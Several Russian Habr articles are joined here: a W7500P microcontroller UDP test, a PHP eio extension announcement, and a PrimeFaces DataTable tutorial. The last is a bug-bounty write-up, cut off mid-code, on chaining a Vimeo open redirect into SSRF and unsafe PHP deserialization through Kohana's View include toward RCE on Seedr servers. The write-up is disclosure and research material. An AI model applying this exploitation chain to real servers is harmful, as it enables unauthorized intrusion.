6. Копировать в кольцевой буфер данные можно с помощью DMA. Но я для теста делал ручное копирование, поскольку это лишь первый опыт и реального применения пока не было.
7. У TCP/IP стека имеется прерывание. Его можно настроить как на срабатывание по общим событиям всего модуля, так и по конкретным на каждом из каналов. Однако при передаче мелких пакетов его надобность практически равна нулю. Так что в примере прерывание не применяется.
В файле [eth.c](https://gitlab.com/vadimatorikda/w7500p_test/-/blob/main/eth.c) демонстрационного проекта есть задача eth\_thread, которая настраивает PHY, открывает сокет со статическими параметрами в режиме UDP, и производит отправку значения счетчика каждые 500 миллисекунд. Поток не рассчитан на отключения кабеля в ходе процесса отправки. При отключении кабеля закрытие канала не происходит. И после его подключения обратно отправка продолжится сама.
В хранилище разработчиков используемой платы имеются библиотеки для DHCP, эхо-ответа (тест через утилиту nc), HTTP сервера/клиента. В случае надобности, можно продолжить доработки на их основе.
Подключение к компьютеру
------------------------
Собрав и зашив проект в микроконтроллер, он после перезагрузки начнет отправлять данные в UDP сокет на статический адрес и порт. Важно, чтобы сеть на компьютере была в той же подсети и была настроена статически. Пример для Ubuntu:
В проекте есть python скрипт [rx\_udp.py,](https://gitlab.com/vadimatorikda/w7500p_test/-/blob/main/rx_udp.py) который открывает сокет-приемник и выводит приходящие сообщения в бинарном виде:
```
$ python3 rx_udp.py
b'00000000'
b'01000000'
b'02000000'
b'03000000'
b'04000000'
b'05000000'
b'06000000'
b'07000000'
```
Об оставшейся периферии
-----------------------
Периферия, которую заложили в данный микроконтроллер, достаточно специфична, и всем своим видом дает понять, что не предназначена для широкого применения. По всей видимости данный микроконтроллер задумывался исключительно как конвертер интерфейсов ETH <-> SPI/I2C/UART/PWM.
Выводы
------
Рассмотрев данный микроконтроллер на практике, можно смело сказать, что он не предназначен для широкого применения повсеместно ввиду своей специфичной периферии. Отсутствие возможности самодиагностики и наличие недокументированных обязательных действий в коде не позволяют использовать его в ответственных приложениях. Однако данный микроконтроллер хорошо себя показал как средство агрегации данных с различных периферийных источников (USART/I2C/SPI) с последующей запаковкой и отправкой по UDP/TCP на компьютер для дальнейшего анализа. | https://habr.com/ru/post/569960/ | null | ru | null |
# Расширение PHP для асинхронного ввода-вывода POSIX
#### Бэкграунд
Рискую получить много критики в комментариях. Однако, мне очень интересно узнать, что думают люди о расширении, которое я недавно закончил писать. Возможно, кто-то протестирует, и расширение станет «beta-стабильным».
Речь идёт о расширении PECL **[eio](http://pecl.php.net/package/eio)**, предоставляющем интерфейс к библиотеке [libeio](http://software.schmorp.de/pkg/libeio.html).
#### libeio
На всякий случай, приведу небольшое описание libeio. Это библиотека С для которая запускает системные вызовы(в основном POSIX) в отдельных потоках. Цель библиотеки — полностью неблокирующее ПО, которое может пригодиться на игровых серверах, как пишет автор библиотеки, М.Леман:
"...in a game server, you would not want to freeze for a few seconds just because the server is running a backup and you happen to call readdir."
Т.е. такие вызовы, как open, read, write, close, readahead, truncate, rename, sendfile, statvfs и т.п. в libeio запускаются в отдельных потоках.
Документация libeio непосредственно не отвергает Windows. Написано, что если соответствующего вызова в библиотеке нет, то libeio эмулирует этот вызов. Однако, в исходном коде практически нет ничего для того, чтобы собрать (обычным образом) код в Windows. У меня такое чувство, что автор подумывал о поддержке Windows, но впоследствии отказался от этой идеи.
#### Расширение eio
В расширении выполняются вызовы libeio. Для того, чтобы инициировать выполнение ряда вызовов libeio, нужно циклически вызывать eio\_poll(). Для этого в PHP экспортирована одноимённая функция. Дополнительно реализован цикл событий в виде функции eio\_event\_loop(), IPC которой выполнен на основе семафоров. При желании пользователь может выполнить собственный цикл событий существующими средствами PHP(Например, при помощи глобальных переменных[лучше только в CLI] или тех же семафоров с использованием расширения [Semaphore](http://php.net/manual/en/book.sem.php)).
Документация: <http://www.php.net/eio>.
#### Установка
**libeio**:
`$ touch ~/.cvspass
$ cvs -z3 -d :pserver:anonymous@cvs.schmorp.de/schmorpforge co libeio
$ cd libeio
$ ./autogen.sh
$ ./configure
$ make
$ su -
# make install`
**eio**:
`$ wget 'http://pecl.php.net/get/eio' -O eio.tgz
$ tar xzvf eio.tgz && cd eio-*
$ phpize
$ ./configure --with-eio # further optional parameters(--enable-eio-debug recommended for first use) ...
$ make && make test
$ su -
# make install`
После этого записываем в конфиг php.ini
`extension=eio.so`
перезапускаем Веб-сервер, если это не CLI.
Если в **Gentoo** возникают проблемы вроде
`libtool: Version mismatch error. This is libtool 2.4, but the
libtool: definition of this LT_INIT comes from an older release.
libtool: You should recreate aclocal.m4 with macros from libtool 2.4
libtool: and run autoconf again.
make: *** [libevent.lo] Error 63`
то следующие команды помогут:
`$ phpize
$ aclocal && libtoolize --force && autoreconf
$ ./configure --with-eio # further optional parameters(--enable-eio-debug recommended for first use) ...
$ make
# дальше как обычно`
Вы также можете воспользоваться [пакетами libeio](https://build.opensuse.org/package/show?package=libeio&project=home%3Aruslan_osmanov), которые я собрал для следующих дистрибутивов:
Debian\_6.0 i586, x86\_64
RedHat\_RHEL-6 i586, x86\_64
openSUSE\_11.4 i586, x86\_64
xUbuntu\_10.04 i586, x86\_64
xUbuntu\_11.10 i586, x86\_64
К сожалению, автор libeio предлагает лишь CVS.
Однако, eio можно установить проще:
`# pecl install eio # для stable
# pecl install eio-beta # для beta
# pecl install eio-alpha # для alpha`
В качестве альтернативы, можно взять самое свежее из SVN:
`$ svn co https://svn.php.net/repository/pecl/eio/trunk eio && cd eio
# pecl install --force package.xml`
Последнюю команду нужно дать с правами root
#### Наконец
Спасибо за внимание. Буду рад любым предложениям по дополнению/изменению API.
**P.S.**
Это eio далось непросто.
#### UPDATE
В результате работы с автором *libevent*:
добавлено: **event\_priority\_set**
добавлено: поддержка числовых дескрипторов в **event\_set**
добавлено: поддержка числовых дескрипторов в **event\_buffer\_new**
Собственно в eio добавлена поддержка файлового дескриптора, который может быть исопльзован для эффективной связки с libevent, правда, пока только в SVN(см. ниже).
Связка с приоритетами(не прямо таки реальный пример, но кому нужно напишет реальный;):
`php<br/
function my_eio_poll($fd, $events, $arg) {
/* Some libevent regulation might go here .. */
if (eio_nreqs()) {
eio_poll();
}
/* .. and here */
}
function my_nop_cb($d, $r) {
var_dump($r); var_dump($d);
}
$base = event_base_new();
$event = event_new();
$fd = eio_get_event_stream();
var_dump($fd);
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
/* some other eio_* calls here ... */
// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));
// Set event priorities
event_base_priority_init($base, 10);
// set event base
event_base_set($event, $base);
// This one is my patch to libevent. Tony should apply it soon
echo "setting priority...\n";
var_dump(event_priority_set($event, 2));
// enable event
event_add($event);
// start event loop
event_base_loop($base);
/* The same kind of stuff is available via buffered libevent API*/
?>`
**SVN**:
`svn.php.net/repository/pecl/libevent/trunk
svn.php.net/repository/pecl/eio/trunk` | https://habr.com/ru/post/131082/ | null | ru | null |
# Интеграция Primefaces в приложение на Spring Boot. Часть 4 — Вывод списка данных в виде таблицы
Во второй части мы научились динамически переключать контент, который выводится в главной части страницы компонентом `ui:include` по клику на пункте меню. Теперь попробуем заполнить динамические инклуды полезной информацией. В моем случае полезной информацией является таблица, которая будет включать в себя данные, получаемые из списка, причем по каждому из полей таблицы мы реализуем фильтрацию по текстовому содержанию поля.
Пожалуй, трудно найти в библиотеке PrimeFaces компонент, у которого было бы больше разнообразных вариантов реализации, чем у компонента Data Table! На момент, когда пишутся эти строки, я насчитал 29 вариантов с разнообразными полезными плюшками и красивостями, причем каждый вариант часто представлен в 2–3 подвариантах, не исключено, что их со временем будет еще больше. Самый базовый вариант, где выводятся только строки таблицы без каких‑либо дополнений:
[DataTable Basic. DataTable displays data in tabular format](https://www.primefaces.org/showcase/ui/data/datatable/basic.xhtml?jfwid=7ffb6)
Мы возьмем компонент Data Table Filter с простым дефолтным фильтром, который представлен дополнительными полями для фильтрации, расположенными над каждым полем/колонкой таблицы:
[DataTable Filter. Filtering updates the data based on the constraints](https://www.primefaces.org/showcase/ui/data/datatable/filter.xhtml?jfwid=7ffb6)
Как обычно, реализация представлена отдельной xhtml-страницей с размещенным на ней компонентом и файлом управляемого бина компонента. Посмотрим на страницу:
```
Заголовок страницы
Список сотрудников
```
Как мы видим, это обычная xhtml‑страница со всеми ее обычными блоками. Если вы подумали, что страница инклудится в главную страницу, и потому заголовочные теги, может быть, не нужны, то вы подумали так же точно, как и я вначале. Но это ошибка, так работать не будет, проверял. Позже, в продолжениях статьи, мы столкнемся с ситуациями, которые покажут нам, что вложенная страница вида в PrimeFaces имеет еще и другие ограничения, например, далеко не все виды компонентов будут на ней работать корректно. Но в таком упрощенном виде компонент таблицы с данными здесь работать будет корректно.
Главное, что нужно знать о настройке компонента `p:dataTable` на странице следующее:
* `value="#{employeeFilterView.employees}"` — ссылка на поле бина, которое содержит список, из которого выбираются строки таблицы;
* `emptyMessage="No employees found with given criteria"` — сообщение, которое будет выводиться в случае, если список компонентов не заполнен;
* `filteredValue="#{employeeFilterView.filteredEmployees}"` — ссылка на поле бина, которое содержит уже отфильтрованный список, когда фильтр заполнен и применен.
Далее мы указываем заголовок списка/таблицы и описываем колонки/поля таблицы. `filterBy` в каждом поле и выше в самом компоненте передает значения в фильтр, которые мы будем писать в специальных полях для фильтрации. Фильтр умный, поля фильтруются совместно, то есть можно фильтровать по нескольким колонкам одновременно согласно той логике, которую вы пропишете в бине компонента. Впрочем, об этом я напишу чуть подробнее ниже. Кроме фильтрации, таблица поддерживает сортировку по каждому полю, для чего служит `sortBy`. Очень важна настройка поля `filterMatchMode="contains"` — с ней фильтрация работает, как полнотекстовая, с добавлением/удалением каждого нового символа, который вы печатаете в поле фильтра, результат фильтрации моментально меняется, выполняясь как по всему слову, так и по его части или отдельным символам. Это НЕ дефолтовое значение, поэтому его нужно прописать явно. Другие возможные значения этого параметра или других полезных параметров можно найти в документации
[DataTable. DataTable displays data in tabular format](https://primefaces.github.io/primefaces/12_0_0/#/components/datatable)
Встроенные в таблицу компоненты `h:outputText` просто выводят значения полей в каждой строке таблицы. Если нужно обернуть это значение в ссылку, оборачиваем его еще и в компонент `h:outputLink`
Теперь перейдем к бину компонента:
```
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import lombok.Getter;
import lombok.Setter;
import org.primefaces.model.FilterMeta;
import org.primefaces.util.LangUtils;
import org.satel.ressatel.service.EmployeeService;
import org.springframework.stereotype.Component;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
@Component("employeeFilterView")
@ViewScoped
@Getter
@Setter
public class EmployeeFilterView implements Serializable {
private List employees;
private List filteredEmployees;
private List filterBy;
private boolean globalFilterOnly;
private final EmployeeService employeeService;
@Inject
public EmployeeFilterView(EmployeeService employeeService) {
this.employeeService = employeeService;
this.init();
}
public void init() {
employees = employeeService.getShortList();
globalFilterOnly = false;
filterBy = new ArrayList<>();
}
public boolean globalFilterFunction(Object value, Object filter, Locale locale) {
String filterText = (filter == null) ? null : filter.toString().trim().toLowerCase();
if (LangUtils.isBlank(filterText)) {
return true;
}
Employee employee = (Employee) value;
return employee.getName().toLowerCase().contains(filterText)
|| employee.getSpecialties().toLowerCase().contains(filterText)
|| employee.getEmployeeDepartment().toLowerCase().contains(filterText)
|| employee.getSkills().toLowerCase().contains(filterText)
|| employee.getArchived().toLowerCase().contains(filterText);
}
public void toggleGlobalFilter() {
setGlobalFilterOnly(!isGlobalFilterOnly());
}
}
```
Обратите внимание, что я употребил аннотацию бина `@ViewScoped` из jakarta. Spring контекст прекрасно понял этот scope и применил аннотацию к бину. Тут нужно отметить, что абсолютно точной аналогии этого scope в Spring не существует, область действия такого бина будет ограничиваться одной открытой страницей xhtml с компонентом на ней, то есть одним видом JSF + PrimeFaces. Некоторые пишут кастомные аналоги для Spring сами, если для их задач это важно, как например, вот здесь:
[JSF View scope in Spring](https://stackoverflow.com/questions/13005421/jsf-view-scope-in-spring)
Если это допустимо вашим приложением, то можно попробовать использовать scope [@Request](/users/Request), [@Session](/users/Session) или [@GlobalSession](/users/GlobalSession), каждый решает сам. Но поскольку область видимости `@ViewScoped` из jakarta не привела у меня ни к каким неприятным эффектам, я оставил ее как есть.
Также я придерживаюсь инжектирования сервисов в управляемых бинах компонентов с помощью аннотации [@Inject](/users/Inject) из jakarta, а в сервисах ставлю scope `@ApplicationScoped` тоже из jakarta, совместно с аннотацией `@Service` из Spring, и также никаких неудобств это пока что не вызвало.
В бине мы видим обещанную мной выше реализацию логики фильтрации в методе `globalFilterFunction`, не удивляйтесь, что явной связи поля filterBy с этой функцией вы не видите - все связи выполняются PrimeFaces "под капотом". filterBy просто приходит в параметр filter, а затем обрабатывается через filterText путем сравнения с данными, приходящими из БД для конкретной строки. Реализацию сервиса и репозитория приводить не буду, они у вас будут собственные, под ваши нужды.
В следующей части статьи мы начнем знакомиться с формами для отображения и редактирования данных, с типами компонентов для инпутов форм и с обработкой данных, приходящих из инпутов.
Напоминаю, что данный цикл статей подготовлен в преддверии старта курса "[Java Developer. Professional](https://otus.pw/kdYY/)". Бесплатный урок курса по теме: "Реактивное подключение к Postgresql в приложениях на Java" доступен по [этой ссылке](https://otus.pw/kdYY/). | https://habr.com/ru/post/713770/ | null | ru | null |
# Как за неделю превратить Open redirect в RCE
В этой статье я расскажу вам о том, как ровно год назад я связал в цепочку несколько проблем безопасности для достижения Удаленного выполнения кода (RCE) на нескольких серверах компании [VK](https://vk.company/). Я постарался описать свои шаги в подробностях, так как мне самому, как постоянному читателю отчетов по баг-баунти, всегда хочется понять, как исследователь мыслит во время обнаружения необычных уязвимостей. Надеюсь, для вас эта статья будет интересна.
#### Введение
Не буду скрывать, я являюсь фанатом баг-баунти программы [VK на HackerOne](https://hackerone.com/mailru). Иногда холдинг приобретает новые компании, и программа пополняется новыми активами, что дает баг-хантерам неплохой шанс собрать "низко висящие фрукты" - уязвимости, которые могут быть найдены без существенных затрат времени и усилий.
По своему опыту могу сказать, что получить доступ к чему-то, что до вас никто не пытался взломать, может быть очень выгодно. На площадке HackerOne есть возможность подписаться на интересующую программу и получать обновления о любых изменениях в правилах, чем я и воспользовался, чтобы быть одним из первых, кто начнет тестировать недавно добавленный сервис.
В течение 2021 года я не очень активно хантил и особо не следил за обновлениями в избранной программе, именно по этой причине я пропустил уведомление о том, что платформа Seedr*,* которая помогает быстро распространять видео в интернете, сейчас уже приостановленная, была добавлена в скоуп.
Моя первая встреча с Seedr состоялась в октябре 2021 года. В течение нескольких минут после начала тестирования я обнаружил несколько банальных XSS уязвимостей, но решил не сообщать о них, так как шанс получить дубликат был слишком высок.
В настоящее время вы можете просмотреть несколько раскрытых отчетов других баг-хантеров и заметить, насколько нетипичные для современных приложений уязвимости они обнаружили в Seedr*:*
* [RCE в .api/nr/report/{id}/download](https://hackerone.com/reports/1348154)
* [SSRF + RCE через fastCGI в POST /api/nr/video](https://hackerone.com/reports/1354335)
* [XSS Stored on https://seedr.ru](https://hackerone.com/reports/1350671)
* [OS command injection on seedr.ru](https://hackerone.com/reports/1360208)
Подумав, что мой поезд ушел, я решил не тратить много времени на Seedr и продолжил прокрастинировать.
#### Находка, которая привлекла мое внимание
Я вернулся к тестированию Seedr во время декабрьского отпуска в другой стране, где с собой у меня был лишь рюкзак и ноутбук. После некоторого времени пребывания в таких условиях у меня просыпается "баг-баунти голод" и появляется желание найти что-нибудь интересное. Для разогрева, я обычно возвращаюсь к уже знакомым сервисам и стараюсь взглянуть на них свежим взглядом.
На этот раз я уделил больше внимания разведке Seedr, а именно: поиску и перечислению поддоменов, сканированию портов, перебору веб-директорий и так далее. К счастью, я нашел более заманчивые вещи: GitLab, Grafana, несколько хостов API, cron-файлы в веб-директории, трассировки стека и многое другое. Чем больше точек входа находишь - тем выше шанс найти что-то интересное. Хотя ни одна из находок не оказалась стоящей того, чтобы о ней сообщить, одна из них всё же привлекла мое внимание.
В исходном HTML-коде страницы *https://api-stage.seedr.ru/player* я заметил следующий комментарий:
```
https://player.seedr.ru/video?vid=cpapXGq50UY&post_id=57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube
```
Готов поспорить, что более опытный читатель уже захотел изменить GET-параметр **config** на свой хост для получения входящего HTTP-соединения, что я и сделал. Но после нескольких попыток не получил ни одного отстука и продолжил экспериментировать с другими параметрами.
Когда я открыл ссылку `https://player.seedr.ru/video?vid=cpapXGq50UY&post_id=57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube`в браузере, я заметил, что метатеги заполнены по разметке Open Graph и содержат информацию о видео: название, описание, превью и т.д.
После нескольких тестовых запросов я понял, что GET-параметры `post_id`и `config`не оказывают существенного влияния на ответ, поэтому давайте упростим URL до `https://player.seedr.ru/video?vid=cpapXGq50UY&hosting=youtube`.
Предположив, что плеер скорее всего поддерживает не только YouTube, я изменил GET-параметр`hosting`на *coub* и *vimeo:*
Итак, похоже, что в зависимости от значения GET-параметра `hosting`,сервер с помощью PHP-функции `file_get_contents()`выполняет HTTP-запрос к YouTube, Vimeo или Coub API, загружает метаданные о видео (GET-параметр `vid`), обрабатывает их и возвращает HTML-страницу плеера с видео и заполненными по разметке Open Graph метатегами.
GET-параметр `vid`является точкой инъекции, так как он позволяет контролировать последнюю часть пути в функции `file_get_contents()` с помощью символов обхода пути (`/../`) и других полезных символов (`?, #, @`и т.д.).
Что ещё интересно, в случае с Vimeo, как вы могли заметить на предыдущем скриншоте, сервер делает запрос к *http://vimeo.com/api/v2/video/VID.php*. И оказывается, что при использовании расширения `.php`в пути, Vimeo возвращает не JSON, а сериализованные данные!
Я предположил, что после функции `file_get_contents()`сервер десериализует ответ от Vimeo с помощью функции `unserialize()`:
> "Ого, неужели у нас здесь небезопасная десериализация?"
>
>
Безопасная, пока ответ контролирует Vimeo.
#### Возможные сценарии
В тот момент у себя в голове я уже видел три возможных сценария атаки:
1. Фаззинг функции `file_get_contents()`с целью добиться слепой SSRF, т.е. выполнить HTTP-запрос на подконтрольный мне ресурс, и в теории добиться небезопасной десериализации;
2. Найти контролируемый ответ на *vimeo.com* -> добиться небезопасной десериализации;
3. Найти открытый редирект на *vimeo.com* -> SSRF -> небезопасная десериализация.
После нескольких часов различных модификаций GET-параметра`vid`и локального фаззинга функции `file_get_contents()`я не нашел ничего полезного и параллельно решил поделиться всей имеющейся информацией об этой находке с несколькими надежными товарищами.
Итак, первый сценарий не сработал, перейдем к следующему - контролируемому ответу на *vimeo.com*.
Эндпоинт с контролируемым ответом должен отвечать следующим требованиям:
* Код ответа HTTP - 200 OK;
* Доступен для неавторизованного пользователя;
* Контролируемая строка должна находиться в начале тела ответа (PHP успешно десериализует `{VALID_SER_STRING}TRASH`);
* Контролируемая строка должна поддерживать символы `{ }`*,* `""`*,* необходимые для хранения сериализованных объектов.
Ниже представлены некоторые из моих попыток найти требуемое поведение на *vimeo.com:*
1. **injection** is not a valid method.
Недостатки: код ответа HTTP 404 Not Found, не поддерживаются символы `{}`*,* `""`*.*
2. **injection** is not a valid format.
Недостатки: код ответа HTTP 404 Not Found, не поддерживаются символы `{}`*,* `""`*.*
3. JavaScript callback.
Недостатки: `/**/`в начале строки, не поддерживаются символы `{}`*,* `""`*.*
4. Экспорт чата прямой трансляции:
Недостатки: Дата и имя в начале строки, требуется аутентификация.
К сожалению, второй сценарий также не сработал, поэтому моей последней надеждой оставалось найти открытый редирект на *vimeo.com*. Ранее я уже встречал опубликованный [отчет](https://hackerone.com/reports/44157) на HackerOne от 2015 года с открытым редиректом на *vimeo.com*, поэтому предположил, что есть небольшой шанс найти ещё один. На самом деле, я одновременно искал открытый редирект ещё во время проверки второго сценария, но снова ничего не нашел.
#### Открытый редирект
Всё это время, пока я раскручивал уязвимость, я помнил о статье Harsh Jaiswal [*Vimeo SSRF with code execution potential*](https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e)*.* Я отчетливо помнил, что для успешной эксплуатации использовалось несколько открытых редиректов на *vimeo.com*. Уязвимость была найдена ещё в 2019 году, поэтому ожидал, что описываемые в статье открытые редиректы уже исправлены. Но так как, вероятно, это был мой единственный шанс, я начал копать в этом направлении.
Из-за того, что информация на скриншотах была недостаточно скрыта, удалось предположить уязвимый эндпоинт по используемым GET-параметрам. Учитывая это, немного погуглив и почитав документацию Vimeo API, я смог определить, какой именно эндпоинт использовал Harsh в своей цепочке. В любом случае, оставалось неясным, какие значения GET-параметров я должен передать.
Я редко прошу кого-то о помощи во время эксплуатации чего-либо, не считая нескольких друзей, но поскольку я был в тупике, Harsh был моей последней надеждой.
После того, как я написал ему и предоставил всю имеющуюся информацию, которая у меня была на том этапе, он поделился со мной рабочей ссылкой с открытым редиректом, которая оказалась такой же, как я и подозревал, но с верными значениями GET-параметров. По этой ссылке я понял, что это не баг на *vimeo.com,* а фича (действительно, это не шутка).
Итак, теперь у меня есть работающий открытый редирект на *vimeo.com,* давайте попробуем его применить:
Отлично, я наконец-то словил HTTP-запрос на свой хост. Прежде чем перейти к десериализации, я решил немного поиграть с SSRF:
* https://127.0.0.1
* https://127.0.0.1:22
* http://127.0.0.1:25
Из-за того, что возвращаемое значение из функции `file_get_contents()`передается сразу в функцию `unserialize()`*,* у меня не получиласьполная SSRF, чтобы читать успешные ответы от внутренних сервисов. Но, по крайней мере, у меня уже была полуслепая SSRF с возможностью выполнять сканирование портов:
Как только я понял, что использовал почти весь потенциал этой SSRF, я переключился на эксплуатацию функции `unserialize()`.
#### Небезопасная десериализация
Вкратце объясню, что необходимо для успешной эксплуатации небезопасной десериализации в PHP:
* ~~Контролируемые входные данные;~~
* Класс с магическим методом (`__wakeup()`, `__destroy()`, `__toString()`и т.д.);
* В магическом методе определена полезная функциональность, которой можно злоупотребить (манипуляция с файловой системой, выполнение запросов к базе данных и т.п.);
* Класс загружен.
Как видите, на тот момент выполнялось только одно требование из четырех. О серверном коде на хосте я знал слишком мало, поэтому единственный способ эксплуатации - это вслепую попробовать все известные цепочки гаджетов. Для этого я использовал инструмент PHPGGC, который по сути является набором полезных нагрузок для эксплуатации функции `unserialize()`вместе с инструментом для их генерации. В то время он содержал почти 90 доступных нагрузок. Большая часть из них предназначена для различных CMS и фреймворков, таких как WordPress, ThinkPHP, Typo3, Magento, Laraver и т.д., которые в моем случае были совершенно бесполезны. Поэтому я сделал ставку на такие широко используемые библиотеки, как Doctrine, Guzzle, Monolog и Swift Mailer.
С помощью PHPGGC я предварительно сгенерировал все возможные нагрузки, разместил их на контролируемом сервере и начал перебор. Однако во всех случаях я получал одну и ту же ошибку:
> [The error occurs because inside serialized string there is a reference to a class that hasn't been included yet - so the PHP autoloading mechanism is triggered to load that class, and this fails for some reason.](https://stackoverflow.com/a/19511801) © [Sven](https://stackoverflow.com/users/1627406/sven)
>
>
В тот момент я уже смирился с тем, что уязвимый PHP-скрипт скорее всего примитивен и не подгружает никаких дополнительных классов, которые я бы мог использовать. Печально, но я хотя бы попытался. Так часто бывает, когда раскручиваешь крутую уязвимость, но сталкиваешься с чем-то, что полностью блокирует дальнейшее продвижение.
После обобщения всех результатов я отправился на HackerOne и составил отчет под названием *[player.seedr.ru] Semi-blind SSRF*, не забыв пригласить Harsh Jaiswal в качестве соавтора за предоставленный открытый редирект на *vimeo.com.*
На самом деле, на этом история могла бы и закончиться. Но внутри меня таилось чувство, которое не давало спать по ночам, намекая, что это ещё не конец и я должен попробовать что-нибудь ещё. Думаю, вам это чувство знакомо.
#### Kohana
Не помню, где именно, но несколько дней спустя мой взгляд случайно зацепился за какую-то информацию про уязвимость use-after-free в функции `unserialize()`. Версия PHP на *player.seedr.ru* оказалось устаревшей, и я сразу начал "исследовать" эту тему. В ходе этих "исследований" я ознакомился с отчетами Taoguang Chen, который сообщил команде PHP несколько десятков проблем с функцией `unserialize()`. Хотя уязвимости, связанные с памятью, все ещё тёмный лес для меня, я все же постарался сгенерировать несколько нагрузок. После продолжительных тестов локально, я вернулся на *player.seedr.ru*, разместил нагрузку на контролируемом сервере, отправил запрос, и ...
> "Серьезно? На устройстве не осталось места? Я только начал. Но, подождите, это не похоже на стандартную ошибку о закончившемся месте на устройстве".
>
>
Скорее всего, эта ошибка возникла потому, что мои сканеры отправили слишком много запросов, когда в предыдущие дни я искал скрытые веб-директории и файлы.
```
ErrorException [ 2 ]: file_put_contents(/var/www/seedr.backend.v2/application/logs/2021/12/20.php): failed to open stream: No space left on device ~ SYSPATH/classes/kohana/log/file.php [ 81 ]
```
> "Кастомный класс для логирования? Видимо, что этот "примитивный" PHP скрипт всё же что-то подгружает, интересно. **Kohana**? Я уже встречал это слово во время тестирования Seedr. Но где?"
>
>
Благодаря Burp Suite Professional я быстро нашел первое упоминание о Kohana в истории прокси, открыл нужную ссылку и увидел подробную страницу ошибки.
Здесь я сделаю небольшое отступление, чтобы рассказать вам немного о Seedr и о том, откуда взялся *v2.nativeroll.tv*. Однако стоит отметить, что вся информация, которую я буду предоставлять, является моими личными предположениями и может оказаться неточной.
Seedr и Nativeroll - платформы для видеорекламы. У Seedr устаревший дизайн, поэтому я предположил, что он был создан задолго до Nativeroll. Обе платформы были куплены на тот момент ещё Mail.Ru Group, вероятно, каким-то образом объединены и размещены на HackerOne в одном скоупе. Таким образом, *v2.nativeroll.tv/api/*, *api.seedr.ru*, *api-stage.seedr.ru*, *player.seedr.ru* имели общую кодовую базу. Надеюсь, теперь стало немного понятнее.
Хорошо, давайте вернемся к красивой странице с ошибкой. *Environment*, *Included files*, *Loaded extensions* - выглядит сочно. Вот что я увидел после нажатия на ссылку *Included files*:
Почти 90 файлов, которые по сути были различными классами, подгруженные с помощью чего-то вроде `autoload.php`. Является ли Kohana чем-то вроде CMS или фреймворка? Да, это так. После небольшого поиска я нашел на GitHub [репозиторий](https://github.com/kohana/kohana), который выглядит заброшенным:
Поскольку *v2.nativeroll.ru* и *api.seed.ru* имеют общую кодовую базу, я успешно вызвал Error exception на *api.seedr.ru* таким же способом *(*`https://api.seedr.ru/`) и получил тот же результат.
Чтобы вызвать Error exception именно на *api.seedr.ru/video* (эндпоинт, который я атаковал), я взял ответ с *http://vimeo.com/api/v2/video/123456.php* и изменил тип значения атрибута description со *строки* на *массив.*
Во время выполнения скрипта функция `htmlspecialchars()`ожидала *строку*, но получила *массив*, что вызвало Error exception с частичным раскрытием PHP-шаблона и трассировкой стека:
Как я и думал, там присутствовал скрипт автозагрузки Composer. Среди подгруженных файлов выделил несколько, которые могут быть полезны при десериализации:
* Guzzle (*/var/www/sentry/vendor/guzzlehttp/...*)
* Swift Mailer (*MODPATH/email/vendor/swiftmailer/...*)
* Symfony (*/var/www/sentry/vendor/symfony/...*)
* Mustache (*MODPATH/kostache/vendor/mustache/...*)
* Sentry (*/var/www/sentry/vendor/sentry/...*)
* ...
Я знал, что в PHPGGC есть несколько цепочек гаджетов для Guzzle, Swift Mailer и Symfony. После того, как я сгенерировал и протестировал нагрузки на *api-stage.seedr.ru,* появились новые ошибки. Например, попытка с нагрузкой для Guzzle вернула ошибку `FnStream never should be unserialized`*.* Это указывало на то, что скрипт использовал уже [исправленную версию](https://github.com/guzzle/psr7/blob/master/src/FnStream.php#L60):
Swift Mailer и Symfony не сработали вообще, и анализ кода Mustache и Sentry на Github также не принес никаких плодов, так что сторонние библиотеки меня не выручили. Пришло время погрузиться в Kohana.
Поиск магических методов, таких как `__wakeup()`*,* `__destruct()`*,* `__toString()`, в репозитории Kohana оказался безрезультативным:
Но в этом репозитории есть каталог *system*, который на самом деле является отдельным репозиторием Kohana Core:
Попробуем поискать магические методы уже в этом репозитории. Для `__destruct()`*,* `__wakeup()`результатов почти нет, но результаты для `__toString()`обнадеживают:
Я бегло просмотрел результаты, и файл [*classes/Kohana/View.php*](https://github.com/kohana/core/blob/bdbe81afb5a09cee4269d2e2210a0d293265231a/classes/Kohana/View.php) и его функция [render()](https://github.com/kohana/core/blob/bdbe81afb5a09cee4269d2e2210a0d293265231a/classes/Kohana/View.php#L346)сразу же привлекли мое внимание.
Должен сказать, что в прошлом у меня был небольшой опыт бэкенд разработки. Я написал несколько проектов на Laravel и уже был знаком с паттерном MVC (Model-View-Controller). Для рендеринга шаблонов/представлений в Laravel используется движок Blade. Так как такие движки обычно загружают шаблоны, я предположил, что может быть я могу как-то передать в функцию свой собственный файл или свой собственный контент.
Давайте внимательно рассмотрим функцию `render()`***:***
```
public function render($file = NULL)
{
if ($file !== NULL)
{
$this->set_filename($file);
}
if (empty($this->_file))
{
throw new View_Exception('You must set the file to use within your view before rendering');
}
// Combine local and global data and capture the output
return View::capture($this->_file, $this->_data);
}
```
Функция `render()`принимает один аргумент под названием `$file`, а затем вызывает функцию `capture()`.
```
protected static function capture($kohana_view_filename, array $kohana_view_data)
{
// Import the view variables to local namespace
extract($kohana_view_data, EXTR_SKIP);
if (View::$_global_data)
{
// Import the global view variables to local namespace
extract(View::$_global_data, EXTR_SKIP | EXTR_REFS);
}
// Capture the view output
ob_start();
try
{
// Load the view within the current scope
include $kohana_view_filename;
}
catch (Exception $e)
{
// Delete the output buffer
ob_end_clean();
// Re-throw the exception
throw $e;
}
// Get the captured output and close the buffer
return ob_get_clean();
}
```
Как сказано в комментарии, функция `capture()`объединяет локальные и глобальные переменные и фиксирует вывод.
Функция `capture()`принимает два аргумента: `$kohana_view_filename`и `$kohana_view_data`**.**Некоторые из вас, вероятно, уже заметили функцию, которой потенциально можно злоупотребить при десериализации:
```
try
{
// Load the view within the current scope
include $kohana_view_filename;
}
```
`include()`!Это уже попахивает LFI и RCE. Но есть ли у нас контроль над `$kohana_view_filename`*?*
Оказывается да! Мы можем передать его в качестве аргумента в функцию `__construct()` во время создания объекта `View`***:***
```
